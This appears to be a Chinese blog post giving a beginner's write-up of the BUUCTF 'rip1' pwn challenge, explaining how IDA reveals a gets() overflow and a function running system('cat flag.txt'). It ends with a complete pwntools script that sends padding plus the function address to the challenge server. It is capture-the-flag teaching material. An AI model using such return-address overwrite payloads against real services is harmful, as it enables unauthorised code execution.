当前位置: 首页 > article >正文

【Pwn | CTF】BUUCTF rip1

天命:第二题pwn,这次知道了目标就是瞄准system函数,如果里面是 /bin/sh 之类的就是直接getshell,如果是普通命令的话,应该就是getflag了

IDA64位打开文件

第8行的函数是把一个东西放进S这个字符串数组变量里

sub_40060D这个函数就是重点,点进去一看就是我们的目标system("cat flag.txt")

getflag 的函数

main最后一行就是gets函数,应该就是利用这个有漏洞的函数进行覆盖缓冲区

那就要拿到两个东西:sub_40060D函数的入口地址 和 v5变量的缓冲区大小

条件一:获取sub_40060D函数入口地址

先打开一下地址栏,因为是没有默认打开的

把这两个勾上,才会有地址

用汇编查看代码,就能看到入口地址

条件二:获取v5变量的缓冲区大小

点进去变量,然后这里开始我就不懂了,别人wp就说这里是40空间+8空间(8空间就是覆盖64位下rbp的长度)

最后攻击

一知半懂

from pwn import *

p = remote('node5.buuoj.cn','26425')

# 其实我也没怎么理解
# 这里是字符串a是用二进制,然后乘16进制的0x48
# 加上入口函数的地址
payload = b'a' * (0x40+8) + p64(0x40060D)  

p.sendline(payload)
p.interactive()


http://www.kler.cn/a/227707.html

相关文章:

  • C++范围for和auto关键字
  • Google 和 Meta 携手 FHE 应对隐私挑战
  • Spring Boot 日志:项目的“行车记录仪”
  • 我是如何写作的?
  • 程序地址空间
  • Ubuntu介绍、与centos的区别、基于VMware安装Ubuntu Server 22.04、配置远程连接、安装jdk+Tomcat
  • 编程实例分享,眼镜店电脑系统软件,配件验光管理顾客信息记录查询系统软件教程
  • SQL报错注入
  • 使用wda框架实现IOS自动化测试详解
  • MyBatis之环境搭建以及实现增删改查
  • 幻兽帕鲁服务器搭建:专用服务器设置全攻略
  • XUbuntu22.04之如何创建、切换多个工作区(二百零九)
  • 微信网页授权之使用完整服务解决方案
  • docker入门教程之将应用程序容器化
  • 突破编程_C++_基础教程(指针(一))
  • 虚拟机Windows Server 2016 安装 MySQL8
  • 【Java基础_02】Java变量
  • Unity 图片不改变比例适配屏幕
  • CSS transition(过渡效果)详解并附带示例
  • Python新春烟花盛宴
  • Linux 网络编程 + 笔记
  • 实现屏蔽 Ctrl + Alt + Del 、Ctrl + Shift + Esc 等热键(二)
  • 系统架构-性能评估
  • TCP TIME_WAIT 过多怎么处理
  • ios搭建OpenGL环境
  • 数据结构与算法面试系列-02